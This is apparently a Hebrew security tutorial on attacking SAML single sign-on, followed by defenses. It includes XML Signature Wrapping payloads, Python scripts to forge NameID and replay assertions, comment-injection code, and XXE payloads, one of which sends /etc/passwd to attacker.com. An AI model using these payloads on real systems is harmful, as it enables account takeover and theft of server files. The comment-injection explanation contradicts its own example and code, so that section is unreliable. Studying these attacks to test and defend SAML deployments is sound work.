לדלג לתוכן

תקיפת SAML - SAML Attacks

מבוא

SAML (Security Assertion Markup Language) הוא פרוטוקול אותנטיקציה מבוסס XML המשמש בעיקר בסביבות ארגוניות לניהול Single Sign-On (SSO). למרות שהפרוטוקול מציע מנגנוני אבטחה חזקים, הטמעות לקויות וחולשות בעיבוד XML יוצרות הזדמנויות תקיפה רבות.


סקירת זרימת SAML

השחקנים

- User (User / Principal) - the user who wants to access the service
- Service Provider - SP (Service Provider) - the application the user wants to access
- Identity Provider - IdP (Identity Provider) - the server that authenticates the user (Active Directory, Okta, etc.)

זרימת SP-Initiated SSO

1. User -> SP: Attempt to access the application
2. SP -> User: Redirect to IdP with SAML Request
3. User -> IdP: Authenticate (username + password)
4. IdP -> User: SAML Response with a signed Assertion
5. User -> SP: Forward the SAML Response
6. SP: Validate the signature and obtain the identity

מבנה SAML Response

<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
                ID="_response123" Version="2.0"
                IssueInstant="2024-01-15T10:00:00Z"
                Destination="https://sp.example.com/acs">

    <saml:Issuer>https://idp.example.com</saml:Issuer>

    <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
        <!-- Digital signature -->
        <ds:SignedInfo>
            <ds:Reference URI="#_assertion456">
                <ds:DigestValue>abc123...</ds:DigestValue>
            </ds:Reference>
        </ds:SignedInfo>
        <ds:SignatureValue>xyz789...</ds:SignatureValue>
    </ds:Signature>

    <saml:Assertion ID="_assertion456" Version="2.0"
                     IssueInstant="2024-01-15T10:00:00Z">

        <saml:Issuer>https://idp.example.com</saml:Issuer>

        <saml:Subject>
            <saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">
                user@example.com
            </saml:NameID>
        </saml:Subject>

        <saml:Conditions NotBefore="2024-01-15T09:55:00Z"
                          NotOnOrAfter="2024-01-15T10:05:00Z">
            <saml:AudienceRestriction>
                <saml:Audience>https://sp.example.com</saml:Audience>
            </saml:AudienceRestriction>
        </saml:Conditions>

        <saml:AuthnStatement AuthnInstant="2024-01-15T10:00:00Z">
            <saml:AuthnContext>
                <saml:AuthnContextClassRef>
                    urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport
                </saml:AuthnContextClassRef>
            </saml:AuthnContext>
        </saml:AuthnStatement>

        <saml:AttributeStatement>
            <saml:Attribute Name="role">
                <saml:AttributeValue>user</saml:AttributeValue>
            </saml:Attribute>
        </saml:AttributeStatement>

    </saml:Assertion>
</samlp:Response>

תקיפה 1: עטיפת signature XML - XML Signature Wrapping (XSW)

הרקע

בתקיפת XSW, התוקף מעביר את האלמנט החתום למיקום אחר ב-XML ומוסיף אלמנט זדוני במקום המקורי. ספריות שלא מאמתות כראוי את הקשר בין הsignature לתוכן עלולות לאמת את הsignature על האלמנט המקורי, אך להשתמש בתוכן הזדוני.

סוגי XSW

XSW Attack 1 - העברת Assertion

<!-- Original SAML Response (simple) -->
<Response>
    <Assertion ID="original">
        <Subject>
            <NameID>user@example.com</NameID>
        </Subject>
    </Assertion>
    <Signature>
        <Reference URI="#original"/>
    </Signature>
</Response>

<!-- XSW Attack: adding a malicious Assertion -->
<Response>
    <!-- Malicious Assertion - not signed but will be read first -->
    <Assertion ID="evil">
        <Subject>
            <NameID>admin@example.com</NameID>
        </Subject>
    </Assertion>

    <!-- Original Assertion - signed but will be ignored -->
    <Assertion ID="original">
        <Subject>
            <NameID>user@example.com</NameID>
        </Subject>
    </Assertion>
    <Signature>
        <Reference URI="#original"/>
    </Signature>
</Response>

XSW Attack 2 - עטיפה ב-Extensions

<Response>
    <Assertion ID="evil">
        <Subject>
            <NameID>admin@example.com</NameID>
        </Subject>
    </Assertion>

    <Extensions>
        <!-- Original signed Assertion hidden here -->
        <Assertion ID="original">
            <Subject>
                <NameID>user@example.com</NameID>
            </Subject>
        </Assertion>
        <Signature>
            <Reference URI="#original"/>
        </Signature>
    </Extensions>
</Response>

XSW Attack 3 - שימוש ב-Object

<Response>
    <Assertion ID="evil">
        <Subject>
            <NameID>admin@example.com</NameID>
        </Subject>
    </Assertion>

    <Signature>
        <Reference URI="#original"/>
        <Object>
            <!-- Hidden inside the Object of the signature -->
            <Assertion ID="original">
                <Subject>
                    <NameID>user@example.com</NameID>
                </Subject>
            </Assertion>
        </Object>
    </Signature>
</Response>

תקיפה 2: מניפולציית SAML Response - Response Manipulation

שינוי NameID

אם ה-SP לא מאמת את הsignature כראוי, או אם הsignature מכסה רק חלק מה-Response:

<!-- Original -->
<NameID>user@example.com</NameID>

<!-- Manipulation -->
<NameID>admin@example.com</NameID>

הdecoding ושינוי SAML Response

import base64
import zlib
from lxml import etree

def decode_saml_response(saml_b64):
    """Decode a SAML Response from Base64"""
    decoded = base64.b64decode(saml_b64)

    try:
        # Attempt deflate (SAML Redirect binding)
        decompressed = zlib.decompress(decoded, -15)
        return decompressed
    except:
        # Already not compressed (POST binding)
        return decoded

def modify_saml_response(saml_xml, new_nameid):
    """Change the NameID in a SAML Response"""
    root = etree.fromstring(saml_xml)

    # Namespaces
    ns = {
        'saml': 'urn:oasis:names:tc:SAML:2.0:assertion',
        'samlp': 'urn:oasis:names:tc:SAML:2.0:protocol'
    }

    # Find and change NameID
    name_ids = root.findall('.//saml:NameID', ns)
    for name_id in name_ids:
        print(f"[*] Original NameID: {name_id.text}")
        name_id.text = new_nameid
        print(f"[*] New NameID: {name_id.text}")

    return etree.tostring(root)

def encode_saml_response(saml_xml):
    """Encode a SAML Response back to Base64"""
    return base64.b64encode(saml_xml).decode()

# Usage
saml_response = "PHNhbWxwOl..."  # Base64 encoded
xml = decode_saml_response(saml_response)
modified = modify_saml_response(xml, "admin@example.com")
new_response = encode_saml_response(modified)
print(f"[+] Attacked SAML Response: {new_response}")

תקיפה 3: הinjection הערה - Comment Injection in SAML

הרקע

חולשה שהתגלתה ב-2018 (CVE-2017-11427) בספריות SAML רבות. הוספת הערת XML בתוך NameID גרמה לספריות לקטוע את הערך.

דוגמה

<!-- Original -->
<NameID>user@example.com</NameID>

<!-- With a comment -->
<NameID>admin@example.com<!--.evil.com--></NameID>

איך זה עובד

1. The XML library parses the NameID as: "admin@example.com"
   (the comment is stripped)

2. Signature validation succeeds because the comment is a legal part of XML

3. The SP receives "admin@example.com" as the user's identity

4. The attacker gains access as admin!

קוד exploit

def comment_injection_attack(saml_xml, target_user, original_user):
    """Comment injection attack in SAML"""
    from lxml import etree

    root = etree.fromstring(saml_xml)
    ns = {'saml': 'urn:oasis:names:tc:SAML:2.0:assertion'}

    name_ids = root.findall('.//saml:NameID', ns)

    for name_id in name_ids:
        # Create a NameID with a comment
        # target_user = "admin@example.com"
        # original_user = "user@example.com"

        # The new value: admin@example.com<!--user@example.com-->
        name_id.text = target_user
        comment = etree.Comment(original_user)
        name_id.append(comment)

    return etree.tostring(root)

תקיפה 4: שחזור Assertion - Assertion Replay

הרקע

אם ה-SP לא עוקב אחרי Assertions שכבר שומשו, ניתן לשלוח אותם שוב.

תנאים לexploit

1. The SP doesn't check InResponseTo (the original request identifier)
2. The SP doesn't keep a list of Assertion IDs already used
3. The time window (NotBefore/NotOnOrAfter) is wide enough
4. Or the SP doesn't check the time window at all

הexploit

import requests
import time

def replay_saml_assertion(sp_acs_url, saml_response, relay_state=None):
    """Replay a SAML Assertion"""

    data = {
        'SAMLResponse': saml_response
    }

    if relay_state:
        data['RelayState'] = relay_state

    # First attempt - original
    resp1 = requests.post(sp_acs_url, data=data, allow_redirects=False)
    print(f"[*] Attempt 1: {resp1.status_code}")

    # Second attempt - replay
    time.sleep(2)
    resp2 = requests.post(sp_acs_url, data=data, allow_redirects=False)
    print(f"[*] Attempt 2 (replay): {resp2.status_code}")

    if resp2.status_code in [200, 302]:
        print("[+] Assertion replay works!")
    else:
        print("[-] Assertion replay blocked")

תקיפה 5: XXE ב-SAML - XXE in SAML

הרקע

SAML מבוסס על XML, ולכן חשוף ל-XXE (XML External Entity) אם הפרסר לא מוגדר כראוי.

דוגמאות

<!-- Basic XXE to read a file -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol">
    <saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
        <saml:Subject>
            <saml:NameID>&xxe;</saml:NameID>
        </saml:Subject>
    </saml:Assertion>
</samlp:Response>
<!-- XXE with SSRF -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
    <!ENTITY xxe SYSTEM "http://internal-server:8080/admin">
]>
<samlp:Response>
    <saml:Assertion>
        <saml:Issuer>&xxe;</saml:Issuer>
    </saml:Assertion>
</samlp:Response>
<!-- XXE with parameter entity (blind) -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
    <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
    %dtd;
]>
<samlp:Response>
    <saml:Assertion>
        <saml:Subject>
            <saml:NameID>test</saml:NameID>
        </saml:Subject>
    </saml:Assertion>
</samlp:Response>

קובץ DTD בשרת התוקף (evil.dtd)

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % wrapper "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?data=%file;'>">
%wrapper;
%exfil;

כלי עבודה: SAMLRaider - הרחבת Burp

התקנה ושימוש

1. Install SAMLRaider from the BApp Store
2. Capture a SAML request (POST to the ACS endpoint)
3. In the SAMLRaider tab:
   - Automatic decoding of the SAML Response
   - Editing NameID and other fields
   - Automatic XSW execution
   - Re-signing with a self-owned key
   - XXE testing

תקיפות אוטומטיות עם SAMLRaider

XSW attacks:
1. XSW1: Copy the Assertion and insert it before the original
2. XSW2: Insert a new Assertion after the Response
3. XSW3: Insert a new Assertion before the original Assertion
4. XSW4: Copy the Assertion into Extensions
5. XSW5: Change the URI of the Reference
6. XSW6: Copy the Assertion into an Object inside the signature
7. XSW7: Modify Extensions with the original Assertion
8. XSW8: Insert the original Assertion as a child of a malicious Assertion

סקריפט ניתוח SAML

#!/usr/bin/env python3
"""
Analyze a SAML Response
"""

import base64
import zlib
from lxml import etree

def analyze_saml(saml_b64):
    """Full analysis of a SAML Response"""

    # Decode
    try:
        raw = base64.b64decode(saml_b64)
        try:
            xml = zlib.decompress(raw, -15)
        except:
            xml = raw
    except:
        print("[-] Error decoding Base64")
        return

    root = etree.fromstring(xml)

    ns = {
        'saml': 'urn:oasis:names:tc:SAML:2.0:assertion',
        'samlp': 'urn:oasis:names:tc:SAML:2.0:protocol',
        'ds': 'http://www.w3.org/2000/09/xmldsig#'
    }

    print("[*] Analyzing SAML Response")
    print("=" * 50)

    # Basic info
    issuer = root.find('.//saml:Issuer', ns)
    if issuer is not None:
        print(f"  Issuer (Issuer): {issuer.text}")

    # NameID
    name_ids = root.findall('.//saml:NameID', ns)
    for nid in name_ids:
        print(f"  NameID: {nid.text}")
        print(f"    Format: {nid.get('Format', 'N/A')}")

    # Conditions
    conditions = root.find('.//saml:Conditions', ns)
    if conditions is not None:
        print(f"  NotBefore: {conditions.get('NotBefore', 'N/A')}")
        print(f"  NotOnOrAfter: {conditions.get('NotOnOrAfter', 'N/A')}")

    # Audience
    audiences = root.findall('.//saml:Audience', ns)
    for aud in audiences:
        print(f"  Audience: {aud.text}")

    # Attributes
    attrs = root.findall('.//saml:Attribute', ns)
    for attr in attrs:
        name = attr.get('Name', 'N/A')
        values = [v.text for v in attr.findall('saml:AttributeValue', ns)]
        print(f"  Attribute '{name}': {', '.join(values)}")

    # Signatures
    signatures = root.findall('.//ds:Signature', ns)
    print(f"\n  Signatures: {len(signatures)}")
    for i, sig in enumerate(signatures):
        ref = sig.find('.//ds:Reference', ns)
        if ref is not None:
            print(f"    Signature {i+1}: Reference URI={ref.get('URI', 'N/A')}")

    # Formatted XML
    print("\n[*] Full XML:")
    print(etree.tostring(root, pretty_print=True).decode())

if __name__ == "__main__":
    saml = input("Enter SAML Response (Base64): ")
    analyze_saml(saml)

הגנות - Defenses

1. אימות signature קפדני

from signxml import XMLVerifier

def validate_saml_response(saml_xml, idp_cert):
    """Validate a SAML signature"""
    try:
        # Validate the signature
        verified = XMLVerifier().verify(
            saml_xml,
            x509_cert=idp_cert
        )

        # Make sure the signature covers the Assertion actually used
        # and not just some other element in the XML

        return verified.signed_xml
    except Exception as e:
        raise ValueError(f"Invalid signature: {e}")

2. מניעת XXE

from lxml import etree

def safe_parse_xml(xml_string):
    """Safely parse XML without XXE"""
    parser = etree.XMLParser(
        resolve_entities=False,
        no_network=True,
        dtd_validation=False,
        load_dtd=False
    )
    return etree.fromstring(xml_string, parser)

3. אימות מלא של Response

def validate_saml_full(response, expected_audience, expected_destination):
    """Full validation of a SAML Response"""

    # 1. Validate signature
    verify_signature(response)

    # 2. Check Issuer
    verify_issuer(response, trusted_issuers)

    # 3. Check Audience
    verify_audience(response, expected_audience)

    # 4. Check Destination
    verify_destination(response, expected_destination)

    # 5. Check time window
    verify_time_window(response)

    # 6. Check InResponseTo
    verify_in_response_to(response, pending_requests)

    # 7. Check for duplicates (prevent replay)
    verify_not_replayed(response)

4. המלצות נוספות

- Use updated and maintained SAML libraries
- Configure the XML parser without entity resolution
- Require a signature on the Assertion (not just on the Response)
- Perform canonicalization before signature validation
- Keep a list of Assertion IDs already used
- Limit the time window to the minimum required
- Always check Audience and Destination

סיכום

תקיפות SAML הן מורכבות אך עלולות לאפשר השתלטות מלאה על חשבונות. הנקודות העיקריות:

  • תקיפות XSW מנצלות חוסר התאמה בין אימות signature לקריאת תוכן
  • הinjection הערה בתוך NameID היא טכניקה פשוטה ויעילה
  • XXE ב-SAML מסוכן במיוחד עקב גישה לקבצים פנימיים
  • שחזור Assertions מתאפשר ללא מעקב אחר שימוש
  • כלי SAMLRaider מקל על זיהוי וexploit חולשות SAML
  • הגנה נכונה דורשת אימות signature קפדני, מניעת XXE, ואימות מלא של כל שדות ה-Response